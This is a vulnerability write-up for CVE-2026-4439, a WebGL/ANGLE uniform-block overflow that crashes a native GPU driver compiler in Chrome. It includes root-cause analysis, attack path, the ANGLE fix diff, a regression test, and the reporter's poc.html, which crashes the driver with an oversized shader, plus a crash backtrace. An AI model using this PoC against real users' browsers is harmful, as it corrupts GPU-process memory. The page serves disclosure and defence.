Chrome · WebGL
CVE-2026-4439
OOB in WebGL
Overview
Critical
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
Background
- ANGLE
- the shader translator/GL abstraction layer that Chrome’s WebGL implementation uses to convert GLSL ES into the shader language of the underlying native driver (
src/compiler/translator). - Uniform block
- a named block of shader uniforms backed by a buffer; each stage has a hardware/driver cap exposed as
GL_MAX_*_UNIFORM_BLOCKS(fragment, vertex, compute, geometry, tess control, tess evaluation). - `ShBuiltInResources`
- the struct of per-context limits handed to the ANGLE compiler; this patch adds
MaxFragmentUniformBlocks,MaxVertexUniformBlocks,MaxComputeUniformBlocks,MaxGeometryUniformBlocks,MaxTessControlUniformBlocks, andMaxTessEvaluationUniformBlocks. - `validatePerStageMaxUniformBlocks`
- a new
ShCompileOptionsbit (replacing the formerunused2) that, when set, makes ANGLE enforce the per-stage uniform-block limit during translation rather than at link time.
Root Cause Analysis
Per the commit message, the per-stage GL_MAX_*_UNIFORM_BLOCKS limits were previously validated only at program link time, so a shader declaring more uniform blocks than the stage supports would first be translated and forwarded to the native GL driver’s own shader compiler. Some drivers have “compiler crashes when compiling shaders with too many uniform blocks,” meaning the driver compiler performs out-of-bounds accesses on internal fixed-size arrays indexed by uniform-block count when that count exceeds its cap. Because ANGLE’s link-time check ran only after the driver had already ingested and compiled the oversized shader, the malicious shader reached the vulnerable driver code before any bound was enforced.
The fix adds compile-time validation inside ANGLE via the new GetMaxUniformBlocksForShaderType helper in ParseContext.cpp, which returns the stage’s limit (or std::numeric_limits<unsigned int>::max() when the workaround is off) so the translator can reject the shader before it is passed to the driver. The limits are wired through ShBuiltInResources and folded into the compiler’s cache key in Compiler.cpp so cached results respect the new option. This gates the check behind the validateMaxPerStageUniformBlocksAtCompileTime GL workaround, enabling it only on affected drivers.
Key insight
The security boundary was in the wrong place: enforcing the uniform-block cap at link time let an attacker’s shader flow into the native driver’s compiler first, and it is that driver compiler — not ANGLE — that crashes/OOBs on an over-count, so the check had to move upstream to translation time.
Attack Path
- Craft oversized shader
A malicious page authors GLSL ES declaring far more uniform blocks in a single stage than
GL_MAX_*_UNIFORM_BLOCKSpermits. - Submit via WebGL
The page calls
shaderSource/compileShader(and link) on a WebGL2 context, handing the shader to ANGLE. - Reach the driver compiler Without compile-time validation, ANGLE translates the shader and passes it to the native GL driver, whose compiler indexes fixed-size structures by the excessive uniform-block count.
- Trigger OOB The driver compiler reads/writes out of bounds while compiling, corrupting memory in the GPU/driver process and enabling crash or potential control of the affected process.
Impact Assessment
An attacker-controlled shader could drive a native driver into an out-of-bounds condition during shader compilation, corrupting memory in the GPU process — a critical, remotely reachable WebGL surface. Because ANGLE’s only guard ran after the driver had already consumed the shader, no bound protected the vulnerable code path. Exploitability depends on the specific driver, which is why the fix is gated behind a per-driver workaround.
Files Changed
include/GLSLANG/ShaderLang.hinclude/platform/autogen/FeaturesGL_autogen.hinclude/platform/gl_features.jsonsrc/compiler/translator/Compiler.cppsrc/compiler/translator/ParseContext.cpp
Audit Directions
- Deferred limit enforcementLook for GL/WebGL resource caps (
GL_MAX_*uniforms, samplers, attributes, varyings, atomic counters, image uniforms) checked only at link time; any that let an over-limit shader reach the native driver compiler first is a candidate for the same driver-crash class. - Driver-forwarded untrusted shadersAudit ANGLE translation paths that hand attacker-authored shaders to a native driver before ANGLE validates stage/global limits, and confirm
ShBuiltInResourceslimits are actually consulted during translation, not just at link. - Workaround-gated validationSince the check is optional (
validatePerStageMaxUniformBlocks), verify the workaround is enabled on all vulnerable drivers and that theUINT_MAXfallback inGetMaxUniformBlocksForShaderTypedoes not silently disable protection where it is needed.
Patch
From bf6dd974238bceec7a0a27987e2e02e177f2b7f8 Mon Sep 17 00:00:00 2001
From: Geoff Lang <geofflang@chromium.org>
Date: Wed, 11 Feb 2026 15:51:46 -0500
Subject: [PATCH] Optionally validate GL_MAX_*_UNIFORM_BLOCKS at compile time.
These were validated at link time but some drivers have compiler crashes
when compiling shaders with too many uniform blocks.
Bug: chromium:475877320
Change-Id: I4413ce06307b4fe9e27105d85f66f610c235a301
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/7568089
Commit-Queue: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Shahbaz Youssefi <syoussefi@chromium.org>
---
diff --git a/include/GLSLANG/ShaderLang.h b/include/GLSLANG/ShaderLang.h
index 6e7768b..ab3d49f 100644
--- a/include/GLSLANG/ShaderLang.h
+++ b/include/GLSLANG/ShaderLang.h
@@ -26,7 +26,7 @@
// Version number for shader translation API.
// It is incremented every time the API changes.
-#define ANGLE_SH_VERSION 398
+#define ANGLE_SH_VERSION 399
enum ShShaderSpec
{
@@ -384,7 +384,9 @@
// VK_EXT_depth_clip_control is supported, this code is not generated, saving a uniform look up.
uint64_t addVulkanDepthCorrection : 1;
- uint64_t unused2 : 1;
+ // Validate that the count of uniform blocks is within the GL_MAX_*_UNIFORM_BLOCKS limits. These
+ // limits must be supplied in the BuiltinResources.
+ uint64_t validatePerStageMaxUniformBlocks : 1;
// Ask compiler to generate Vulkan transform feedback emulation support code.
uint64_t addVulkanXfbEmulationSupportCode : 1;
@@ -586,6 +588,12 @@
int MinProgramTexelOffset;
int MaxProgramTexelOffset;
+ // GL_MAX_FRAGMENT_UNIFORM_BLOCKS
+ int MaxFragmentUniformBlocks;
+
+ // GL_MAX_VERTEX_UNIFORM_BLOCKS
+ int MaxVertexUniformBlocks;
+
// Extension constants.
// Value of GL_MAX_DUAL_SOURCE_DRAW_BUFFERS_EXT for OpenGL ES output context.
@@ -703,6 +711,9 @@
// maximum point size (higher limit from ALIASED_POINT_SIZE_RANGE)
float MaxPointSize;
+ // GL_MAX_COMPUTE_UNIFORM_BLOCKS
+ int MaxComputeUniformBlocks;
+
// EXT_geometry_shader constants
int MaxGeometryUniformComponents;
int MaxGeometryInputComponents;
@@ -714,6 +725,7 @@
int MaxGeometryAtomicCounters;
int MaxGeometryShaderInvocations;
int MaxGeometryImageUniforms;
+ int MaxGeometryUniformBlocks;
// EXT_tessellation_shader constants
int MaxTessControlInputComponents;
@@ -724,6 +736,7 @@
int MaxTessControlImageUniforms;
int MaxTessControlAtomicCounters;
int MaxTessControlAtomicCounterBuffers;
+ int MaxTessControlUniformBlocks;
int MaxTessPatchComponents;
int MaxPatchVertices;
@@ -736,6 +749,7 @@
int MaxTessEvaluationImageUniforms;
int MaxTessEvaluationAtomicCounters;
int MaxTessEvaluationAtomicCounterBuffers;
+ int MaxTessEvaluationUniformBlocks;
// APPLE_clip_distance / EXT_clip_cull_distance / ANGLE_clip_cull_distance constants
int MaxClipDistances;
diff --git a/include/platform/autogen/FeaturesGL_autogen.h b/include/platform/autogen/FeaturesGL_autogen.h
index 09d4aa2..c0c00f1 100644
--- a/include/platform/autogen/FeaturesGL_autogen.h
+++ b/include/platform/autogen/FeaturesGL_autogen.h
@@ -662,6 +662,12 @@
&members,
};
+ FeatureInfo validateMaxPerStageUniformBlocksAtCompileTime = {
+ "validateMaxPerStageUniformBlocksAtCompileTime",
+ FeatureCategory::OpenGLWorkarounds,
+ &members,
+ };
+
};
inline FeaturesGL::FeaturesGL() = default;
diff --git a/include/platform/gl_features.json b/include/platform/gl_features.json
index 94d86bd..a78b0d4 100644
--- a/include/platform/gl_features.json
+++ b/include/platform/gl_features.json
@@ -860,6 +860,14 @@
"Use ARB_shader_viewport_layer_array or NV_viewport_array2 to implement multiview"
],
"issue": "http://anglebug.com/42260809"
+ },
+ {
+ "name": "validate_max_per_stage_uniform_blocks_at_compile_time",
+ "category": "Workarounds",
+ "description": [
+ "Validate GL_MAX_*_UNIFORM_BLOCKS at compile time instead of link time to work around compiler bugs."
+ ],
+ "issue": "http://crbug.com/475877320"
}
]
}
diff --git a/src/compiler/translator/Compiler.cpp b/src/compiler/translator/Compiler.cpp
index 2af7dbe..318b861 100644
--- a/src/compiler/translator/Compiler.cpp
+++ b/src/compiler/translator/Compiler.cpp
@@ -1493,6 +1493,8 @@
<< ":MaxFragmentInputVectors:" << mResources.MaxFragmentInputVectors
<< ":MinProgramTexelOffset:" << mResources.MinProgramTexelOffset
<< ":MaxProgramTexelOffset:" << mResources.MaxProgramTexelOffset
+ << ":MaxFragmentUniformBlocks:" << mResources.MaxFragmentUniformBlocks
+ << ":MaxVertexUniformBlocks:" << mResources.MaxVertexUniformBlocks
<< ":MaxDualSourceDrawBuffers:" << mResources.MaxDualSourceDrawBuffers
<< ":MaxViewsOVR:" << mResources.MaxViewsOVR
<< ":NV_draw_buffers:" << mResources.NV_draw_buffers
@@ -1542,6 +1544,7 @@
<< ":MaxFragmentAtomicCounterBuffers:" << mResources.MaxFragmentAtomicCounterBuffers
<< ":MaxCombinedAtomicCounterBuffers:" << mResources.MaxCombinedAtomicCounterBuffers
<< ":MaxAtomicCounterBufferSize:" << mResources.MaxAtomicCounterBufferSize
+ << ":MaxComputeUnformBlocks:" << mResources.MaxComputeUniformBlocks
<< ":MaxGeometryUniformComponents:" << mResources.MaxGeometryUniformComponents
<< ":MaxGeometryInputComponents:" << mResources.MaxGeometryInputComponents
<< ":MaxGeometryOutputComponents:" << mResources.MaxGeometryOutputComponents
@@ -1552,6 +1555,7 @@
<< ":MaxGeometryAtomicCounters:" << mResources.MaxGeometryAtomicCounters
<< ":MaxGeometryShaderInvocations:" << mResources.MaxGeometryShaderInvocations
<< ":MaxGeometryImageUniforms:" << mResources.MaxGeometryImageUniforms
+ << ":MaxGeometryUniformBlocks:" << mResources.MaxGeometryUniformBlocks
<< ":MaxClipDistances" << mResources.MaxClipDistances
<< ":MaxCullDistances" << mResources.MaxCullDistances
<< ":MaxCombinedClipAndCullDistances" << mResources.MaxCombinedClipAndCullDistances
@@ -1563,6 +1567,7 @@
<< ":MaxTessControlImageUniforms:" << mResources.MaxTessControlImageUniforms
<< ":MaxTessControlAtomicCounters:" << mResources.MaxTessControlAtomicCounters
<< ":MaxTessControlAtomicCounterBuffers:" << mResources.MaxTessControlAtomicCounterBuffers
+ << ":MaxTessControlUniformBlocks:" << mResources.MaxTessControlUniformBlocks
<< ":MaxTessPatchComponents:" << mResources.MaxTessPatchComponents
<< ":MaxPatchVertices:" << mResources.MaxPatchVertices
<< ":MaxTessGenLevel:" << mResources.MaxTessGenLevel
@@ -1572,7 +1577,9 @@
<< ":MaxTessEvaluationUniformComponents:" << mResources.MaxTessEvaluationUniformComponents
<< ":MaxTessEvaluationImageUniforms:" << mResources.MaxTessEvaluationImageUniforms
<< ":MaxTessEvaluationAtomicCounters:" << mResources.MaxTessEvaluationAtomicCounters
- << ":MaxTessEvaluationAtomicCounterBuffers:" << mResources.MaxTessEvaluationAtomicCounterBuffers;
+ << ":MaxTessEvaluationAtomicCounterBuffers:" << mResources.MaxTessEvaluationAtomicCounterBuffers
+ << ":MaxTessControlUniformBlocks:" << mResources.MaxTessControlUniformBlocks
+ ;
// clang-format on
mBuiltInResourcesString = strstream.str();
diff --git a/src/compiler/translator/ParseContext.cpp b/src/compiler/translator/ParseContext.cpp
index 839c59a..b95cb49 100644
--- a/src/compiler/translator/ParseContext.cpp
+++ b/src/compiler/translator/ParseContext.cpp
@@ -429,6 +429,37 @@
// overestimated).
return isStd140 ? kVec4Size : type->getNominalSize() * sizeof(float);
}
+
+unsigned int GetMaxUniformBlocksForShaderType(sh::GLenum shaderType,
+ const ShCompileOptions &options,
+ const ShBuiltInResources &resources)
+{
+ // If the validatePerStageMaxUniformBlocks workaround is disabled. Set a limit that will not be
+ // hit.
+ if (!options.validatePerStageMaxUniformBlocks)
+ {
+ return std::numeric_limits<unsigned int>::max();
+ }
+
+ switch (shaderType)
+ {
+ case GL_FRAGMENT_SHADER:
+ return resources.MaxFragmentUniformBlocks;
+ case GL_VERTEX_SHADER:
+ return resources.MaxVertexUniformBlocks;
+ case GL_COMPUTE_SHADER:
+ return resources.MaxComputeUniformBlocks;
+ case GL_GEOMETRY_SHADER:
+ return resources.MaxGeometryUniformBlocks;
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/src/tests/gl_tests/GLSLValidationTest.cpp b/src/tests/gl_tests/GLSLValidationTest.cpp
index be02d55..bf80afa 100644
--- a/src/tests/gl_tests/GLSLValidationTest.cpp
+++ b/src/tests/gl_tests/GLSLValidationTest.cpp
@@ -7288,6 +7288,61 @@
validateSuccess(GL_FRAGMENT_SHADER, kShader);
}
+class GLSLValidationTest_ES3_ValidateUniformBlocks : public GLSLValidationTest_ES3
+{};
+
+// Test the validate_max_per_stage_uniform_blocks_at_compile_time feature which validates the
+// uniform block count at compile time instead of link time.
+TEST_P(GLSLValidationTest_ES3_ValidateUniformBlocks,
+ MaxPerStageUniformBlockLimitsValidatedByCompile)
+{
+ GLint maxVertexUniformBlocks, maxFragmentUniformBlocks;
+ glGetIntegerv(GL_MAX_VERTEX_UNIFORM_BLOCKS, &maxVertexUniformBlocks);
+ glGetIntegerv(GL_MAX_FRAGMENT_UNIFORM_BLOCKS, &maxFragmentUniformBlocks);
+
+ // Test with one large array that is larger than the limit
+ std::ostringstream vsStream;
+ vsStream << R"(#version 300 es
+precision mediump float;
+#define BLOCK_COUNT )"
+ << maxVertexUniformBlocks + 1 << R"(
+layout(std140) uniform MyBlock {
+ float x;
+} blocks[BLOCK_COUNT];
+
+void main() {
+ gl_Position = vec4(blocks[BLOCK_COUNT - 1].x);
+})";
+
+ const std::string vertexShader = vsStream.str();
+ validateError(GL_VERTEX_SHADER, vertexShader.c_str(),
+ "uniform block count greater than per stage maximum uniform blocks");
+
+ // Test with one array that reaches the limit and a single block which overflows the limit
+ std::ostringstream fsStream;
+ fsStream << R"(#version 300 es
+precision mediump float;
+#define BLOCK_COUNT )"
+ << maxFragmentUniformBlocks + 1 << R"(
+layout(std140) uniform MyBlock0 {
+ float x;
+} blocks0[BLOCK_COUNT - 1];
+
+layout(std140) uniform MyBlock1 {
+ float x;
+} block1;
+
+out vec4 fragColor;
+
+void main() {
+ fragColor = vec4(blocks0[BLOCK_COUNT-2].x, block1.x, 0.0, 1.0);
+})";
+
+ const std::string fragmentShader = fsStream.str();
+ validateError(GL_FRAGMENT_SHADER, fragmentShader.c_str(),
+ "uniform block count greater than per stage maximum uniform blocks");
+}
+
} // namespace
ANGLE_INSTANTIATE_TEST_ES2_AND_ES3(GLSLValidationTest);
@@ -7296,6 +7351,12 @@
GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(GLSLValidationTest_ES3);
ANGLE_INSTANTIATE_TEST_ES3(GLSLValidationTest_ES3);
+GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(GLSLValidationTest_ES3_ValidateUniformBlocks);
+ANGLE_INSTANTIATE_TEST(
+ GLSLValidationTest_ES3_ValidateUniformBlocks,
+ ES3_OPENGL().enable(Feature::ValidateMaxPerStageUniformBlocksAtCompileTime),
+ ES3_OPENGLES().enable(Feature::ValidateMaxPerStageUniformBlocksAtCompileTime));
+
GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(GLSLValidationTest_ES31);
ANGLE_INSTANTIATE_TEST_ES31(GLSLValidationTest_ES31);
Loading diff…
Original Bug Report
reported by ha...@gmail.com
memory corruption in llvm::UFWriterVolcanic::GenerateKernels casue chrome sandbox escape
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
The lack of shader filtering for WebGL caused an issue with llvm::ComputeInfo::IsGlobalUsedBy.
VERSION Chrome Version: [143.0.7499.292 + stable]
Operating System: [pixel 10 update 01.06]
REPRODUCTION CASE
1.open poc.html
<!DOCTYPE html>
<html>
<head>
<title>WebGL Uniform Block Crash</title>
</head>
<body>
<canvas id="glCanvas" width="100" height="100"></canvas>
<script>
const canvas = document.getElementById('glCanvas');
const gl = canvas.getContext('webgl2');
if (!gl) {
alert('WebGL 2 not supported');
} else {
console.log('Testing crash shader...');
const vsSource = `#version 300 es
layout(std140) uniform MyBlock {
float x;
} blocks[128];
void main() {
gl_Position = vec4(blocks[127].x);
}`;
const fsSource = `#version 300 es
precision mediump float;
out vec4 fragColor;
void main() {
fragColor = vec4(1.0, 0.0, 0.0, 1.0);
}`;
const vertexShader = gl.createShader(gl.VERTEX_SHADER);
gl.shaderSource(vertexShader, vsSource);
gl.compileShader(vertexShader);
const fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
gl.shaderSource(fragmentShader, fsSource);
gl.compileShader(fragmentShader);
const program = gl.createProgram();
gl.attachShader(program, vertexShader);
gl.attachShader(program, fragmentShader);
gl.linkProgram(program);
}
</script>
</body>
</html>
2.crash
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
01-15 13:31:06.831 13140 13140 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
01-15 13:31:06.831 13140 13140 F DEBUG : Build fingerprint: 'google/frankel/frankel:16/BP4A.260105.004.E1/14587043:user/release-keys'
01-15 13:31:06.831 13140 13140 F DEBUG : Kernel Release: '6.6.98-android15-8-g4b48560cd07d-ab14239520-4k'
01-15 13:31:06.831 13140 13140 F DEBUG : Revision: 'MP1.0'
01-15 13:31:06.831 13140 13140 F DEBUG : ABI: 'arm64'
01-15 13:31:06.831 13140 13140 F DEBUG : Timestamp: 2026-01-15 13:31:06.711616662+0800
01-15 13:31:06.831 13140 13140 F DEBUG : Process uptime: 2s
01-15 13:31:06.831 13140 13140 F DEBUG : Executable: /system/bin/app_process64
01-15 13:31:06.831 13140 13140 F DEBUG : Cmdline: com.android.chrome:privileged_process0
01-15 13:31:06.831 13140 13140 F DEBUG : pid: 13045, tid: 13060, name: CrGpuMain >>> com.android.chrome:privileged_process0 <<<
01-15 13:31:06.831 13140 13140 F DEBUG : uid: 10214
01-15 13:31:06.831 13140 13140 F DEBUG : tagged_addr_ctrl: 000000000007fff7 (PR_TAGGED_ADDR_ENABLE, PR_MTE_TCF_SYNC, PR_MTE_TCF_ASYNC, mask 0xfffe)
01-15 13:31:06.831 13140 13140 F DEBUG : pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
01-15 13:31:06.831 13140 13140 F DEBUG : esr: 0000000092000005 (Data Abort Exception 0x24)
01-15 13:31:06.831 13140 13140 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x00000075555e24a1 (read)
01-15 13:31:06.831 13140 13140 F DEBUG : x0 0000000000000000 x1 00000071a4677b85 x2 000000000000001c x3 000000000000001c
01-15 13:31:06.831 13140 13140 F DEBUG : x4 000001c6919dee14 x5 04000071f752bd10 x6 0000000000000010 x7 0000000000000000
01-15 13:31:06.831 13140 13140 F DEBUG : x8 00000075555e24a9 x9 0000000000000010 x10 030000724754fc70 x11 000000000000000f
01-15 13:31:06.831 13140 13140 F DEBUG : x12 030000724754fcf8 x13 0000000000000002 x14 00000000260c81e2 x15 05000073d7524110
01-15 13:31:06.831 13140 13140 F DEBUG : x16 00000071a7144f38 x17 00000071a5c88d30 x18 00000071549b8000 x19 05000073675c2cd0
01-15 13:31:06.831 13140 13140 F DEBUG : x20 00000071555e1da8 x21 0c000072175862b0 x22 0e000073574fa618 x23 03000073d751fd78
01-15 13:31:06.831 13140 13140 F DEBUG : x24 0000000000000000 x25 00000075555e24a1 x26 00000071555e20f0 x27 0000000000000001
01-15 13:31:06.831 13140 13140 F DEBUG : x28 00000071555e7640 x29 00000071555e1d30
01-15 13:31:06.831 13140 13140 F DEBUG : lr 0004baf1a505d3bc sp 00000071555e1b70 pc 00000071a505d490 pst 0000000060001000
01-15 13:31:06.831 13140 13140 F DEBUG : esr 0000000092000005
01-15 13:31:06.831 13140 13140 F DEBUG : 38 total frames
01-15 13:31:06.831 13140 13140 F DEBUG : backtrace:
01-15 13:31:06.831 13140 13140 F DEBUG : #00 pc 0000000000f28490 /vendor/lib64/libufwriter.so (llvm::UFWriterVolcanic::GenerateKernels(llvm::Module&, llvm::SetVector<llvm::Function*, std::__1::vector<llvm::Function*, std::__1::allocator<llvm::Function*>>, llvm::DenseSet<llvm::Function*, llvm::DenseMapInfo<llvm::Function*>>> const&)+4944) (BuildId: 3669c3a3441cf03574357745e0fc3241)
01-15 13:31:06.831 13140 13140 F DEBUG : #01 pc 0000000000f2b25c /vendor/lib64/libufwriter.so (llvm::UFWriterPass::run(llvm::Module&, llvm::AnalysisManager<llvm::Module>&)+1020) (BuildId: 3669c3a3441cf03574357745e0fc3241)
01-15 13:31:06.831 13140 13140 F DEBUG : #02 pc 0000000001646100 /vendor/lib64/libufwriter.so (llvm::PassManager<llvm::Module, llvm::AnalysisManager<llvm::Module>>::run(llvm::Module&, llvm::AnalysisManager<llvm::Module>&)+752) (BuildId: 3669c3a3441cf03574357745e0fc3241)
01-15 13:31:06.831 13140 13140 F DEBUG : #03 pc 0000000000d48cd8 /vendor/lib64/libufwriter.so (GenerateICodeProgram+8904) (BuildId: 3669c3a3441cf03574357745e0fc3241)
01-15 13:31:06.831 13140 13140 F DEBUG : #04 pc 0000000000c93d64 /vendor/lib64/libufwriter.so (GLSLCompileToIntermediateCode+1220) (BuildId: 3669c3a3441cf03574357745e0fc3241)
01-15 13:31:06.831 13140 13140 F DEBUG : #05 pc 0000000000c94218 /vendor/lib64/libufwriter.so (GLSLCompileToUniflex+776) (BuildId: 3669c3a3441cf03574357745e0fc3241)
01-15 13:31:06.831 13140 13140 F DEBUG : #06 pc 0000000000121244 /vendor/lib64/egl/libGLESv2_powervr.so (DoCompileShader(GLES3Context_TAG*, GLES3DeferredShaderCompileContextRec*, GLES3CompilerAppHintSetupRec const*, GLSLProgramTypeTAG, char const*, GLSLIntermediateTAG const*, GLES3RecompiledShaderConditionRec*, GLES3CompiledShaderStateRec*, unsigned int, GLES3ShaderRec*) (.__uniq.240097599076884967950137398077872991440)+644) (BuildId: 5c09bdbf5bedc8055689e500629872cc)
01-15 13:31:06.831 13140 13140 F DEBUG : #07 pc 000000000011fa9c /vendor/lib64/egl/libGLESv2_powervr.so (CompileShader+252) (BuildId: 5c09bdbf5bedc8055689e500629872cc)
01-15 13:31:06.831 13140 13140 F DEBUG : #08 pc 000000000011aa24 /vendor/lib64/egl/libGLESv2_powervr.so (glCompileShader+100) (BuildId: 5c09bdbf5bedc8055689e500629872cc)
01-15 13:31:06.831 13140 13140 F DEBUG : #09 pc 0000000008b15f90 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #10 pc 0000000008b092d4 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #11 pc 0000000008abafac /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #12 pc 0000000008ad18dc /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #13 pc 000000000722a70c /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #14 pc 00000000072299e4 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #15 pc 00000000072296d0 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #16 pc 000000000722957c /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #17 pc 00000000072293dc /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #18 pc 0000000006f84c54 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #19 pc 00000000073437fc /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #20 pc 00000000058cbe18 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #21 pc 0000000005867ac4 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #22 pc 000000000586762c /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #23 pc 0000000007297504 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #24 pc 00000000058d4ff4 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #25 pc 0000000005846a8c /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #26 pc 000000000580f3d8 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #27 pc 000000000580f114 /data/app/~~BhDlB9g51UI2TbMkvLMy4w==/com.google.android.trichromelibrary_749919233-OYhrBD_MCD4kZPxRYUMPCA==/base.apk!libmonochrome_64.so (offset 0x930000) (BuildId: bbae41948ca5afe4814da3aee16cf773f4f3bd00)
01-15 13:31:06.831 13140 13140 F DEBUG : #28 pc 0000000000d47db0 /data/misc/apexdata/com.android.art/dalvik-cache/arm64/boot.oat (art_jni_trampoline+112)
01-15 13:31:06.831 13140 13140 F DEBUG : #29 pc 00000000006687e8 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: be34fbe63ff357beb403f9cb39923ea7)
01-15 13:31:06.831 13140 13140 F DEBUG : #30 pc 00000000000e8512 /data/app/~~P2wdVVU8W9YxL5iR_gR99Q==/com.android.chrome-mlNR9WbC-u7OgTPpVwYrsg==/base.apk (offset 0x1b0000) (ak3.run+562)
